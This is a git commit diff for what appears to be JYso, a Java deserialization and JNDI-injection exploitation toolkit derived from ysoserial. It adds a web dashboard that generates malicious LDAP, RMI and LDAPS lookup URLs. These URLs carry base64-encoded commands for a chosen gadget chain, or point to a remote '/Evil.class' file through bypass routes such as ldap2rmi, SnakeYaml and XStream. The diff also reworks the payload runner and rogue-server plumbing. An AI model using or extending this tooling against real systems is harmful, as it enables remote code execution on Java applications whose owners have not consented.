perf:前端大改2

This commit is contained in:
qi4l
2026-04-30 23:17:12 +08:00
parent 680d0cb333
commit b5a258c8b7
17 changed files with 376 additions and 545 deletions
+25 -6
View File
@@ -512,6 +512,7 @@ code, pre, .mono {
padding: 3px;
gap: 2px;
transition: background var(--transition-fluid), border-color var(--transition-fluid);
min-width: 260px;
}
.tab-segment-control::before {
@@ -535,7 +536,8 @@ code, pre, .mono {
.tab-segment-btn {
position: relative;
z-index: 1;
padding: 6px 20px;
flex: 1;
padding: 6px 12px;
border: none;
border-radius: 9px;
background: transparent;
@@ -548,6 +550,7 @@ code, pre, .mono {
white-space: nowrap;
letter-spacing: -0.2px;
-webkit-tap-highlight-color: transparent;
text-align: center;
}
.tab-segment-btn:active {
@@ -584,6 +587,27 @@ code, pre, .mono {
.config-form .btn { grid-column: span 2; margin-top: 14px; }
.gadget-dropdown {
position: absolute;
top: 100%;
left: 0;
right: 0;
z-index: 50;
background: var(--card-bg);
backdrop-filter: blur(24px) saturate(180%);
-webkit-backdrop-filter: blur(24px) saturate(180%);
border: 1px solid var(--border-color);
border-radius: 12px;
box-shadow: var(--card-shadow-lg);
overflow: hidden;
animation: dropdownSlideIn 180ms cubic-bezier(0.22, 0.1, 0, 1) both;
}
@keyframes dropdownSlideIn {
from { opacity: 0; transform: translateY(-4px) scale(0.985); }
to { opacity: 1; transform: translateY(0) scale(1); }
}
.gadget-list {
max-height: 280px;
overflow-y: auto;
@@ -643,11 +667,6 @@ label.form-group {
cursor: pointer;
}
.pill-sun, .pill-moon {
font-size: 15px;
line-height: 1;
}
@media (max-width: 768px) {
.page-shell { padding: 48px 16px 32px; }
.grid-2 { grid-template-columns: 1fr; }
+266 -42
View File
@@ -15,11 +15,28 @@ export default function Dashboard() {
const [loading, setLoading] = useState(false)
const [msg, setMsg] = useState({ success: '', error: '' })
const [toggling, setToggling] = useState(null)
const [activeJndiTab, setActiveJndiTab] = useState('config')
const [gadgets, setGadgets] = useState([])
const [gadgetSearch, setGadgetSearch] = useState('')
const [selectedGadget, setSelectedGadget] = useState('')
const [payloadCmd, setPayloadCmd] = useState('')
const [payloadResult, setPayloadResult] = useState('')
const [payloadSubTab, setPayloadSubTab] = useState('gadget')
const [gadgetOpen, setGadgetOpen] = useState(false)
const [jndiPayloadResult, setJndiPayloadResult] = useState('')
const [rmiPayloadResult, setRmiPayloadResult] = useState('')
const [ldapsPayloadResult, setLdapsPayloadResult] = useState('')
const [jndiGadgetInput, setJndiGadgetInput] = useState('')
const [gadgetModeInput, setGadgetModeInput] = useState('')
const [saveFilename, setSaveFilename] = useState('')
const [filePath, setFilePath] = useState('')
const [classLoaderResult, setClassLoaderResult] = useState('')
const [rmiClassLoaderResult, setRmiClassLoaderResult] = useState('')
const [ldapsClassLoaderResult, setLdapsClassLoaderResult] = useState('')
const [routing, setRouting] = useState('ELProcessor')
const [routingOpen, setRoutingOpen] = useState(false)
const ROUTING_OPTIONS = ['Basic', 'ELProcessor', 'Groovy', 'jdbcBypass1', 'jdbcBypass2', 'ldap2rmi', 'SnakeYaml', 'XStream', 'MemoryXXE']
const [configForm, setConfigForm] = useState({
ip: '', ldapPort: 1389, ldapsPort: 1669, httpPort: 3456, rmiPort: 1099,
@@ -98,10 +115,12 @@ export default function Dashboard() {
}
async function handleGeneratePayload() {
const gadgetName = (gadgetModeInput || selectedGadget || '').trim()
if (!gadgetName) return
setLoading(true)
setMsg({ success: '', error: '' })
try {
const res = await apiGenerate({ gadget: selectedGadget, command: payloadCmd })
const res = await apiGenerate({ gadget: gadgetName, command: payloadCmd, filename: saveFilename })
if (res.data.success) {
setPayloadResult(res.data.message || 'Payload generated successfully')
setMsg({ success: 'Payload generated', error: '' })
@@ -114,6 +133,68 @@ export default function Dashboard() {
} finally { setLoading(false) }
}
function handleGenerateJndiPayload() {
const gadgetName = (jndiGadgetInput || selectedGadget || '').trim()
if (!gadgetName || !payloadCmd) return
setLoading(true)
setMsg({ success: '', error: '' })
setJndiPayloadResult('')
setRmiPayloadResult('')
setLdapsPayloadResult('')
try {
const bytes = new TextEncoder().encode(payloadCmd)
const cmdB64 = btoa(String.fromCharCode.apply(null, bytes))
const ipAddr = configForm.ip || '0.0.0.0'
const ldapPort = configForm.ldapPort || 1389
const rmiPort = configForm.rmiPort || 1099
const ldapsPort = configForm.ldapsPort || 1669
const ldapUrl = `ldap://${ipAddr}:${ldapPort}/Deserialization/${gadgetName}/command/Base64/${cmdB64}`
const rmiUrl = `rmi://${ipAddr}:${rmiPort}/Deserialization/${gadgetName}/command/Base64/${cmdB64}`
const ldapsUrl = `ldaps://${ipAddr}:${ldapsPort}/Deserialization/${gadgetName}/command/Base64/${cmdB64}`
setJndiPayloadResult(ldapUrl)
setRmiPayloadResult(rmiUrl)
setLdapsPayloadResult(ldapsUrl)
setMsg({ success: 'Payload URLs generated', error: '' })
} catch (e) {
setMsg({ success: '', error: 'Failed to generate URL' })
} finally { setLoading(false) }
}
function handleGenerateClassLoader() {
const fp = filePath.trim()
const route = routing.trim()
if (!fp || !route) return
setLoading(true)
setMsg({ success: '', error: '' })
setClassLoaderResult('')
setRmiClassLoaderResult('')
setLdapsClassLoaderResult('')
if (!fp.toLowerCase().endsWith('.class')) {
setMsg({ success: '', error: 'File path must end with .class' })
setLoading(false)
return
}
try {
const ipAddr = configForm.ip || '0.0.0.0'
const ldapPort = configForm.ldapPort || 1389
const rmiPort = configForm.rmiPort || 1099
const ldapsPort = configForm.ldapsPort || 1669
const ldapUrl = `ldap://${ipAddr}:${ldapPort}/${route}/M-LF-${fp}`
const rmiUrl = `rmi://${ipAddr}:${rmiPort}/${route}/M-LF-${fp}`
const ldapsUrl = `ldaps://${ipAddr}:${ldapsPort}/${route}/M-LF-${fp}`
setClassLoaderResult(ldapUrl)
setRmiClassLoaderResult(rmiUrl)
setLdapsClassLoaderResult(ldapsUrl)
setMsg({ success: 'ClassLoader URLs generated', error: '' })
} catch (e) {
setMsg({ success: '', error: 'Failed to generate URL' })
} finally { setLoading(false) }
}
function logout() {
setAuthToken(null)
navigate('/login', { replace: true })
@@ -152,14 +233,7 @@ export default function Dashboard() {
onClick={toggleTheme}
aria-label={theme === 'light' ? 'Switch to dark mode' : 'Switch to light mode'}
title={theme === 'light' ? 'Dark mode' : 'Light mode'}
>
<span className="pill-sun" style={{ position: 'absolute', top: 4, left: 5, opacity: theme === 'dark' ? 0.35 : 1, transition: 'opacity 0.2s' }}>
&#x2600;&#xFE0F;
</span>
<span className="pill-moon" style={{ position: 'absolute', top: 4, right: 5, opacity: theme === 'dark' ? 1 : 0.35, transition: 'opacity 0.2s' }}>
&#x1F319;
</span>
</button>
/>
<button className="logout-btn" onClick={logout}>Logout</button>
</div>
</div>
@@ -218,8 +292,26 @@ export default function Dashboard() {
</div>
<div className="glass-card section-enter">
<h2>Config</h2>
<div className="config-form">
<div className="control-bar">
<div className={'tab-segment-control' + (activeJndiTab === 'payload' ? ' config-tab' : '')}>
<button
className={'tab-segment-btn' + (activeJndiTab === 'config' ? ' active' : '')}
onClick={() => setActiveJndiTab('config')}
>
Config
</button>
<button
className={'tab-segment-btn' + (activeJndiTab === 'payload' ? ' active' : '')}
onClick={() => setActiveJndiTab('payload')}
>
Payload Generator
</button>
</div>
</div>
{activeJndiTab === 'config' && (
<div key="jndi-config" className="tab-content-enter">
<div className="config-form">
<div className="form-group">
<label>IP Address</label>
<input type="text" value={configForm.ip}
@@ -280,6 +372,128 @@ export default function Dashboard() {
{loading ? 'Saving...' : 'Save Configuration'}
</button>
</div>
</div>
)}
{activeJndiTab === 'payload' && (
<div key="jndi-payload" className="tab-content-enter">
<div className="control-bar">
<div className={'tab-segment-control' + (payloadSubTab === 'classloader' ? ' config-tab' : '')}>
<button
className={'tab-segment-btn' + (payloadSubTab === 'gadget' ? ' active' : '')}
onClick={() => setPayloadSubTab('gadget')}
>
Gadget
</button>
<button
className={'tab-segment-btn' + (payloadSubTab === 'classloader' ? ' active' : '')}
onClick={() => setPayloadSubTab('classloader')}
>
ClassLoader
</button>
</div>
</div>
{payloadSubTab === 'gadget' && (
<div key="payload-gadget" className="tab-content-enter">
<div style={{ position: 'relative' }}>
<div className="form-group">
<label>Gadget</label>
<input type="text"
value={jndiGadgetInput}
placeholder="Type or search..."
onFocus={() => setGadgetOpen(true)}
onBlur={() => setTimeout(() => setGadgetOpen(false), 150)}
onChange={e => { setJndiGadgetInput(e.target.value); setGadgetSearch(e.target.value); }}
style={{ cursor: 'text' }}
/>
</div>
{gadgetOpen && (
<div className="gadget-dropdown" style={{ top: 'calc(100% - 8px)' }}>
<div className="gadget-list" style={{ maxHeight: 180, border: 'none', borderRadius: 12 }}>
{filteredGadgets.map(g => (
<div key={g.name}
className={'gadget-item' + (selectedGadget === g.name ? ' selected' : '')}
onMouseDown={e => { e.preventDefault(); setSelectedGadget(g.name); setJndiGadgetInput(g.name); setGadgetSearch(g.name); setGadgetOpen(false); }}>
{g.name}
</div>
))}
</div>
</div>
)}
</div>
<div className="form-group">
<label>Command</label>
<textarea rows={4} value={payloadCmd} placeholder="e.g. whoami"
onChange={e => setPayloadCmd(e.target.value)} />
</div>
<button className="btn btn-primary" onClick={handleGenerateJndiPayload}
disabled={loading || (!(jndiGadgetInput || selectedGadget).trim()) || !payloadCmd}>
{loading ? 'Generating...' : 'Generate'}
</button>
{jndiPayloadResult && (
<div className="payload-output" style={{ marginTop: 14 }}>{jndiPayloadResult}</div>
)}
{rmiPayloadResult && (
<div className="payload-output" style={{ marginTop: 8 }}>{rmiPayloadResult}</div>
)}
{ldapsPayloadResult && (
<div className="payload-output" style={{ marginTop: 8 }}>{ldapsPayloadResult}</div>
)}
</div>
)}
{payloadSubTab === 'classloader' && (
<div key="payload-classloader" className="tab-content-enter">
<div style={{ position: 'relative' }}>
<div className="form-group">
<label>Routing</label>
<input type="text"
value={routing}
placeholder="Select route..."
onFocus={() => setRoutingOpen(true)}
onBlur={() => setTimeout(() => setRoutingOpen(false), 150)}
onChange={e => setRouting(e.target.value)}
style={{ cursor: 'text' }}
/>
</div>
{routingOpen && (
<div className="gadget-dropdown" style={{ top: 'calc(100% - 8px)' }}>
<div className="gadget-list" style={{ maxHeight: 220, border: 'none', borderRadius: 12 }}>
{ROUTING_OPTIONS.map(opt => (
<div key={opt}
className={'gadget-item' + (routing === opt ? ' selected' : '')}
onMouseDown={e => { e.preventDefault(); setRouting(opt); setRoutingOpen(false); }}>
{opt}
</div>
))}
</div>
</div>
)}
</div>
<div className="form-group">
<label>FilePath</label>
<input type="text" value={filePath}
placeholder="e.g. /Evil.class"
onChange={e => setFilePath(e.target.value)} />
</div>
<button className="btn btn-primary" onClick={handleGenerateClassLoader}
disabled={loading || !filePath.trim() || !routing.trim()}>
{loading ? 'Generating...' : 'Generate'}
</button>
{classLoaderResult && (
<div className="payload-output" style={{ marginTop: 14 }}>{classLoaderResult}</div>
)}
{rmiClassLoaderResult && (
<div className="payload-output" style={{ marginTop: 8 }}>{rmiClassLoaderResult}</div>
)}
{ldapsClassLoaderResult && (
<div className="payload-output" style={{ marginTop: 8 }}>{ldapsClassLoaderResult}</div>
)}
</div>
)}
</div>
)}
</div>
</>
)}
@@ -287,40 +501,50 @@ export default function Dashboard() {
{mode === 'gadget' && (
<div className="glass-card section-enter">
<h2>Payload Generator</h2>
<div className="grid-2">
<div>
<h3 style={{ fontSize: 13, marginBottom: 10, color: 'var(--text-secondary)', fontWeight: 600, textTransform: 'uppercase', letterSpacing: 0.5 }}>
Select Gadget
</h3>
<div className="form-group">
<input type="text" placeholder="Search..." value={gadgetSearch}
onChange={e => setGadgetSearch(e.target.value)} />
</div>
<div className="gadget-list">
{filteredGadgets.map(g => (
<div key={g.name}
className={'gadget-item' + (selectedGadget === g.name ? ' selected' : '')}
onClick={() => setSelectedGadget(g.name)}>
{g.name}
</div>
))}
</div>
<div style={{ position: 'relative' }}>
<div className="form-group">
<label>Gadget</label>
<input type="text"
value={gadgetModeInput}
placeholder="Type or search..."
onFocus={() => setGadgetOpen(true)}
onBlur={() => setTimeout(() => setGadgetOpen(false), 150)}
onChange={e => { setGadgetModeInput(e.target.value); setGadgetSearch(e.target.value); }}
style={{ cursor: 'text' }}
/>
</div>
<div>
<div className="form-group">
<label>Command</label>
<textarea rows={4} value={payloadCmd} placeholder="e.g. whoami"
onChange={e => setPayloadCmd(e.target.value)} />
{gadgetOpen && (
<div className="gadget-dropdown" style={{ top: 'calc(100% - 8px)' }}>
<div className="gadget-list" style={{ maxHeight: 180, border: 'none', borderRadius: 12 }}>
{filteredGadgets.map(g => (
<div key={g.name}
className={'gadget-item' + (selectedGadget === g.name ? ' selected' : '')}
onMouseDown={e => { e.preventDefault(); setSelectedGadget(g.name); setGadgetModeInput(g.name); setGadgetSearch(g.name); setGadgetOpen(false); }}>
{g.name}
</div>
))}
</div>
</div>
<button className="btn btn-primary" onClick={handleGeneratePayload}
disabled={loading || !selectedGadget}>
{loading ? 'Generating...' : 'Generate Payload'}
</button>
{payloadResult && (
<div className="payload-output">{payloadResult}</div>
)}
</div>
)}
</div>
<div className="form-group">
<label>Command</label>
<textarea rows={4} value={payloadCmd} placeholder="e.g. whoami"
onChange={e => setPayloadCmd(e.target.value)} />
</div>
<div className="form-group">
<label>Save As (leave empty to discard)</label>
<input type="text" value={saveFilename}
placeholder="e.g. payload.ser"
onChange={e => setSaveFilename(e.target.value)} />
</div>
<button className="btn btn-primary" onClick={handleGeneratePayload}
disabled={loading || !(gadgetModeInput || selectedGadget).trim()}>
{loading ? 'Generating...' : 'Generate'}
</button>
{payloadResult && (
<div className="payload-output" style={{ marginTop: 14 }}>{payloadResult}</div>
)}
</div>
)}
</div>
@@ -115,12 +115,6 @@ public class Config {
for (String line : lines) {
System.out.println(" " + line);
}
System.exit(0);
}
if (showVersion) {
System.exit(0);
}
//获取当前 Jar 的名称
@@ -129,7 +123,6 @@ public class Config {
if (help) {
jc.usage(); //if -h specified, show help and exit
System.exit(0);
}
// 特别注意:最后一个反斜杠不能少啊
@@ -17,7 +17,6 @@ import java.nio.file.Paths;
import java.util.*;
import static com.qi4l.JYso.gadgets.Config.Config.logo;
import static com.qi4l.JYso.gadgets.utils.StringUtil.isFromExploit;
public class ysoserial {
@@ -88,7 +87,6 @@ public class ysoserial {
System.err.println("Invalid payload type '" + payloadType + "'");
printUsage(options);
System.exit(1);
return;
}
@@ -104,12 +102,6 @@ public class ysoserial {
object = new DirtyDataWrapper(object, type, length).doWrap();
}
// 储存生成的 payload
PAYLOAD = object;
if (isFromExploit()) {
return;
}
OutputStream out;
if (Config.WRITE_FILE) {
@@ -183,7 +175,6 @@ public class ysoserial {
System.err.println("Recommended Usage: -y -g [payload] -p '[command]' -dt 1 -dl 50000 -o -i -f evil.ser");
System.err.println("If you want your payload being extremely shortyou could just use:");
System.err.println("java -jar JYso-[version].jar -y -g [payload] -p '[command]' -i -f evil.ser");
System.exit(0);
}
}
@@ -96,7 +96,6 @@ public class JRE8u20 implements ObjectPayload<Object> {
if (JYsoMode) {
ser.write(System.out);
System.exit(0);
}
ByteArrayOutputStream out = new ByteArrayOutputStream();
ser.write(out);
@@ -45,4 +45,4 @@ public class Jackson2 implements ObjectPayload<Object> {
setFieldValue(val, "suppressedExceptions", null);
return val;
}
}
}
@@ -122,4 +122,4 @@ public class Jackson3 implements ObjectPayload<Object> {
return getEventListenerList(node);
}
}
}
@@ -41,4 +41,4 @@ public class Jackson4 implements ObjectPayload<Object> {
map2.put("zZ", node);
return com.qi4l.JYso.gadgets.utils.Utils.makeMap(map1, map2);
}
}
}
@@ -48,16 +48,6 @@ public class StringUtil {
return lines;
}
public static boolean isFromExploit() {
StackTraceElement[] stackTraceElements = Thread.currentThread().getStackTrace();
for (StackTraceElement stackTraceElement : stackTraceElements) {
if (stackTraceElement.getClassName().startsWith("com.qi4l.JYso.exploit")) {
return true;
}
}
return false;
}
public static class ToStringComparator implements Comparator<Object> {
public int compare(Object o1, Object o2) {
@@ -1,8 +1,43 @@
package com.qi4l.JYso.gadgets.utils;
import java.util.Collections;
import java.util.Set;
import java.util.concurrent.ConcurrentHashMap;
public class SuClassLoader extends ClassLoader {
private final Set<String> skipParentClasses;
public SuClassLoader() {
super(Thread.currentThread().getContextClassLoader());
this.skipParentClasses = Collections.emptySet();
}
public SuClassLoader(ClassLoader parent) {
super(parent);
this.skipParentClasses = Collections.emptySet();
}
public SuClassLoader(ClassLoader parent, String skipParentClass) {
super(parent);
this.skipParentClasses = ConcurrentHashMap.newKeySet();
this.skipParentClasses.add(skipParentClass);
}
@Override
protected Class<?> loadClass(String name, boolean resolve) throws ClassNotFoundException {
if (skipParentClasses.contains(name)) {
Class<?> c = findLoadedClass(name);
if (c != null) return c;
c = findClass(name);
if (resolve) resolveClass(c);
return c;
}
return super.loadClass(name, resolve);
}
@Override
protected Class<?> findClass(String name) throws ClassNotFoundException {
throw new ClassNotFoundException(name);
}
}
@@ -9,21 +9,20 @@ import com.qi4l.JYso.web.config.JYsoWebPasswordProvider;
import com.qi4l.JYso.web.config.WebPasswordGenerator;
import org.apache.logging.log4j.LogManager;
import org.apache.logging.log4j.Logger;
import org.springframework.boot.SpringApplication;
import org.springframework.boot.WebApplicationType;
import org.springframework.boot.autoconfigure.SpringBootApplication;
import org.springframework.boot.builder.SpringApplicationBuilder;
import org.springframework.context.ConfigurableApplicationContext;
import org.eclipse.jetty.server.Server;
import org.eclipse.jetty.servlet.FilterHolder;
import org.eclipse.jetty.servlet.ServletContextHandler;
import org.eclipse.jetty.servlet.ServletHolder;
import javax.servlet.DispatcherType;
import java.awt.*;
import java.awt.datatransfer.StringSelection;
import java.util.Properties;
import java.util.EnumSet;
import java.util.concurrent.CountDownLatch;
import static com.qi4l.JYso.gadgets.Config.Config.logo;
import static org.fusesource.jansi.Ansi.ansi;
@SpringBootApplication(scanBasePackages = "com.qi4l.JYso.web")
public class JYsoWebApplication {
private static final Logger log = LogManager.getLogger(JYsoWebApplication.class);
@@ -58,26 +57,38 @@ public class JYsoWebApplication {
startJndiServers(args);
Properties props = new Properties();
props.put("server.port", String.valueOf(webPort));
props.put("spring.main.banner-mode", "off");
props.put("spring.main.web-application-type", "servlet");
ConfigurableApplicationContext ctx = new SpringApplicationBuilder(JYsoWebApplication.class)
.web(WebApplicationType.SERVLET)
.properties(props)
.run(filterWebArgs(args));
CountDownLatch latch = new CountDownLatch(1);
Runtime.getRuntime().addShutdownHook(new Thread(() -> {
log.info("Shutting down...");
ctx.close();
latch.countDown();
}));
try {
Server server = new Server(webPort);
ServletContextHandler context = new ServletContextHandler(ServletContextHandler.SESSIONS);
context.setContextPath("/");
server.setHandler(context);
context.addFilter(new FilterHolder(new ApiAuthFilter()), "/api/*", EnumSet.of(DispatcherType.REQUEST));
context.addServlet(new ServletHolder(new AuthServlet()), "/api/auth/login");
context.addServlet(new ServletHolder(new JettyApiServlet()), "/api/*");
context.addFilter(new FilterHolder(new SpaFallbackFilter()), "/*", EnumSet.of(DispatcherType.REQUEST));
context.addServlet(new ServletHolder(new StaticResourceServlet()), "/");
server.start();
System.out.println(ansi().render("@|green [+]|@ Web GUI started on http://127.0.0.1:" + webPort));
CountDownLatch latch = new CountDownLatch(1);
Runtime.getRuntime().addShutdownHook(new Thread(() -> {
log.info("Shutting down...");
try {
server.stop();
} catch (Exception e) {
log.error("Stop error", e);
}
latch.countDown();
}));
latch.await();
} catch (InterruptedException e) {
Thread.currentThread().interrupt();
} catch (Exception e) {
log.error("Failed to start web server", e);
}
}
@@ -88,7 +99,6 @@ public class JYsoWebApplication {
);
System.out.println(ansi().render("@|cyan [+]|@ Password copied to clipboard"));
} catch (HeadlessException e) {
// headless environment, clipboard unavailable
} catch (Exception e) {
System.out.println(ansi().render("@|yellow [!]|@ Could not copy to clipboard: " + e.getMessage()));
}
@@ -1,51 +0,0 @@
package com.qi4l.JYso.web.config;
import org.springframework.context.annotation.Bean;
import org.springframework.context.annotation.Configuration;
import org.springframework.security.config.annotation.web.builders.HttpSecurity;
import org.springframework.security.config.annotation.web.configuration.EnableWebSecurity;
import org.springframework.security.config.http.SessionCreationPolicy;
import org.springframework.security.core.userdetails.User;
import org.springframework.security.core.userdetails.UserDetails;
import org.springframework.security.crypto.bcrypt.BCryptPasswordEncoder;
import org.springframework.security.crypto.password.PasswordEncoder;
import org.springframework.security.provisioning.InMemoryUserDetailsManager;
import org.springframework.security.web.SecurityFilterChain;
import org.springframework.security.web.authentication.UsernamePasswordAuthenticationFilter;
@Configuration
@EnableWebSecurity
public class SecurityConfig {
@Bean
public PasswordEncoder passwordEncoder() {
return new BCryptPasswordEncoder();
}
@Bean
public InMemoryUserDetailsManager userDetailsService() {
UserDetails user = User.builder()
.username("qi")
.password(passwordEncoder().encode(JYsoWebPasswordProvider.getPassword()))
.roles("ADMIN")
.build();
return new InMemoryUserDetailsManager(user);
}
@Bean
public SecurityFilterChain filterChain(HttpSecurity http) throws Exception {
http
.csrf().disable()
.sessionManagement().sessionCreationPolicy(SessionCreationPolicy.STATELESS)
.and()
.authorizeRequests()
.anyRequest().permitAll()
.and()
.httpBasic().disable()
.formLogin().disable()
.logout().disable()
.addFilterBefore(new TokenAuthFilter(), UsernamePasswordAuthenticationFilter.class);
return http.build();
}
}
@@ -1,43 +0,0 @@
package com.qi4l.JYso.web.config;
import com.qi4l.JYso.web.controller.AuthController;
import org.springframework.web.filter.OncePerRequestFilter;
import javax.servlet.FilterChain;
import javax.servlet.ServletException;
import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;
import java.io.IOException;
public class TokenAuthFilter extends OncePerRequestFilter {
@Override
protected void doFilterInternal(HttpServletRequest request,
HttpServletResponse response,
FilterChain filterChain) throws ServletException, IOException {
String path = request.getRequestURI();
if (!path.startsWith("/api/") || path.equals("/api/auth/login")) {
filterChain.doFilter(request, response);
return;
}
String authHeader = request.getHeader("Authorization");
if (authHeader == null || !authHeader.startsWith("Bearer ")) {
response.setStatus(HttpServletResponse.SC_UNAUTHORIZED);
response.setContentType("application/json");
response.getWriter().write("{\"error\":\"Unauthorized\"}");
return;
}
String token = authHeader.substring(7);
if (!AuthController.validateToken(token)) {
response.setStatus(HttpServletResponse.SC_UNAUTHORIZED);
response.setContentType("application/json");
response.getWriter().write("{\"error\":\"Invalid token\"}");
return;
}
filterChain.doFilter(request, response);
}
}
@@ -1,31 +0,0 @@
package com.qi4l.JYso.web.config;
import org.springframework.context.annotation.Configuration;
import org.springframework.web.servlet.config.annotation.CorsRegistry;
import org.springframework.web.servlet.config.annotation.ResourceHandlerRegistry;
import org.springframework.web.servlet.config.annotation.ViewControllerRegistry;
import org.springframework.web.servlet.config.annotation.WebMvcConfigurer;
@Configuration
public class WebConfig implements WebMvcConfigurer {
@Override
public void addCorsMappings(CorsRegistry registry) {
registry.addMapping("/api/**")
.allowedOrigins("*")
.allowedMethods("GET", "POST", "PUT", "DELETE")
.allowedHeaders("*");
}
@Override
public void addResourceHandlers(ResourceHandlerRegistry registry) {
registry.addResourceHandler("/**")
.addResourceLocations("classpath:/static/");
}
@Override
public void addViewControllers(ViewControllerRegistry registry) {
registry.addViewController("/").setViewName("forward:/index.html");
registry.addViewController("/{path:[^\\.]*}").setViewName("forward:/index.html");
}
}
@@ -1,237 +0,0 @@
package com.qi4l.JYso.web.controller;
import com.qi4l.JYso.HTTPServer;
import com.qi4l.JYso.LdapServer;
import com.qi4l.JYso.LdapsServer;
import com.qi4l.JYso.RMIServer;
import com.qi4l.JYso.Starter;
import com.qi4l.JYso.gadgets.Config.Config;
import com.qi4l.JYso.gadgets.Config.ysoserial;
import com.qi4l.JYso.gadgets.ObjectPayload;
import org.springframework.web.bind.annotation.*;
import java.util.*;
@RestController
@RequestMapping("/api")
public class ApiController {
@GetMapping("/status")
public Map<String, Object> getStatus() {
Map<String, Object> status = new LinkedHashMap<>();
status.put("ldapRunning", LdapServer.isRunning);
status.put("ldapsRunning", LdapsServer.isRunning);
status.put("httpRunning", HTTPServer.isRunning);
status.put("rmiRunning", RMIServer.isRunning);
status.put("ip", Config.ip);
status.put("ldapPort", Config.ldapPort);
status.put("ldapsPort", Config.ldapsPort);
status.put("httpPort", Config.httpPort);
status.put("rmiPort", Config.rmiPort);
status.put("codeBase", Config.codeBase);
status.put("AESkey", Config.AESkey);
status.put("user", Config.USER);
status.put("PASSWD", Config.PASSWD);
status.put("TLSProxy", Config.TLSProxy);
status.put("keyPass", Config.keyPass);
status.put("certFile", Config.certFile);
status.put("version", "1.3.8");
return status;
}
@PostMapping("/servers/start")
public Map<String, Object> startServers(@RequestBody Map<String, Object> body) {
Map<String, Object> result = new LinkedHashMap<>();
List<String> started = new ArrayList<>();
List<String> errors = new ArrayList<>();
boolean startLdap = body.get("ldap") != null && Boolean.TRUE.equals(body.get("ldap"));
boolean startLdaps = body.get("ldaps") != null && Boolean.TRUE.equals(body.get("ldaps"));
boolean startHttp = body.get("http") != null && Boolean.TRUE.equals(body.get("http"));
boolean startRmi = body.get("rmi") != null && Boolean.TRUE.equals(body.get("rmi"));
if (body.containsKey("ip")) Config.ip = (String) body.get("ip");
if (body.containsKey("ldapPort")) Config.ldapPort = (Integer) body.get("ldapPort");
if (body.containsKey("ldapsPort")) Config.ldapsPort = (Integer) body.get("ldapsPort");
if (body.containsKey("httpPort")) Config.httpPort = (Integer) body.get("httpPort");
if (body.containsKey("rmiPort")) Config.rmiPort = (Integer) body.get("rmiPort");
if (startLdap && !LdapServer.isRunning) {
new Thread(() -> {
try { LdapServer.start(); } catch (Exception ignored) {}
}, "ldap-starter").start();
started.add("LDAP");
}
if (startHttp && !HTTPServer.isRunning) {
new Thread(() -> {
try { HTTPServer.start(); } catch (Exception ignored) {}
}, "http-starter").start();
started.add("HTTP");
}
if (startLdaps && !LdapsServer.isRunning) {
new Thread(() -> {
try { LdapsServer.start(); } catch (Exception ignored) {}
}, "ldaps-starter").start();
started.add("LDAPS");
}
if (startRmi && !RMIServer.isRunning) {
new Thread(() -> {
try { RMIServer.start(); } catch (Exception ignored) {}
}, "rmi-starter").start();
started.add("RMI");
}
result.put("started", started);
result.put("errors", errors);
result.put("success", true);
return result;
}
@PostMapping("/servers/stop")
public Map<String, Object> stopServer(@RequestBody Map<String, Object> body) {
Map<String, Object> result = new LinkedHashMap<>();
String server = (String) body.get("server");
if (server == null) {
result.put("success", false);
result.put("error", "server name required");
return result;
}
switch (server.toLowerCase()) {
case "ldap":
LdapServer.stop();
break;
case "ldaps":
LdapsServer.stop();
break;
case "http":
HTTPServer.stop();
break;
case "rmi":
RMIServer.stop();
break;
default:
result.put("success", false);
result.put("error", "unknown server: " + server);
return result;
}
result.put("success", true);
result.put("server", server);
result.put("status", getStatus());
return result;
}
@PostMapping("/servers/toggle")
public Map<String, Object> toggleServer(@RequestBody Map<String, Object> body) {
Map<String, Object> result = new LinkedHashMap<>();
String server = (String) body.get("server");
if (server == null) {
result.put("success", false);
result.put("error", "server name required");
return result;
}
boolean nowRunning;
switch (server.toLowerCase()) {
case "ldap":
if (LdapServer.isRunning) LdapServer.stop();
else new Thread(() -> { try { LdapServer.start(); } catch (Exception ignored) {} }, "ldap-toggler").start();
nowRunning = !LdapServer.isRunning;
break;
case "ldaps":
if (LdapsServer.isRunning) LdapsServer.stop();
else new Thread(() -> { try { LdapsServer.start(); } catch (Exception ignored) {} }, "ldaps-toggler").start();
nowRunning = !LdapsServer.isRunning;
break;
case "http":
if (HTTPServer.isRunning) HTTPServer.stop();
else new Thread(() -> { try { HTTPServer.start(); } catch (Exception ignored) {} }, "http-toggler").start();
nowRunning = !HTTPServer.isRunning;
break;
case "rmi":
if (RMIServer.isRunning) RMIServer.stop();
else new Thread(() -> { try { RMIServer.start(); } catch (Exception ignored) {} }, "rmi-toggler").start();
nowRunning = !RMIServer.isRunning;
break;
default:
result.put("success", false);
result.put("error", "unknown server: " + server);
return result;
}
try { Thread.sleep(800); } catch (InterruptedException e) { Thread.currentThread().interrupt(); }
result.put("success", true);
result.put("server", server);
result.put("running", nowRunning);
result.put("status", getStatus());
return result;
}
@GetMapping("/gadgets")
public List<Map<String, Object>> listGadgets() {
List<Map<String, Object>> list = new ArrayList<>();
for (String name : Starter.caseInsensitiveObjectPayloadMap.keySet()) {
Map<String, Object> item = new LinkedHashMap<>();
String shortName = name.substring(name.lastIndexOf('.') + 1);
item.put("name", shortName);
item.put("fullName", name);
list.add(item);
}
return list;
}
@PostMapping("/payload/generate")
public Map<String, Object> generatePayload(@RequestBody Map<String, Object> body) {
Map<String, Object> result = new LinkedHashMap<>();
String gadget = (String) body.get("gadget");
String command = (String) body.get("command");
if (gadget == null || command == null) {
result.put("success", false);
result.put("error", "gadget and command are required");
return result;
}
try {
Starter.JYsoMode = true;
String[] args = new String[]{
"-y",
"-g", gadget,
"-p", command
};
ysoserial.run(args);
result.put("success", true);
result.put("message", "Payload generated successfully");
} catch (Exception e) {
result.put("success", false);
result.put("error", e.getMessage());
}
return result;
}
@PostMapping("/config/update")
public Map<String, Object> updateConfig(@RequestBody Map<String, Object> body) {
Map<String, Object> result = new LinkedHashMap<>();
if (body.containsKey("ip")) Config.ip = (String) body.get("ip");
if (body.containsKey("ldapPort")) Config.ldapPort = (Integer) body.get("ldapPort");
if (body.containsKey("ldapsPort")) Config.ldapsPort = (Integer) body.get("ldapsPort");
if (body.containsKey("httpPort")) Config.httpPort = (Integer) body.get("httpPort");
if (body.containsKey("rmiPort")) Config.rmiPort = (Integer) body.get("rmiPort");
if (body.containsKey("codeBase")) Config.codeBase = (String) body.get("codeBase");
if (body.containsKey("AESkey")) Config.AESkey = (String) body.get("AESkey");
if (body.containsKey("user")) Config.USER = (String) body.get("user");
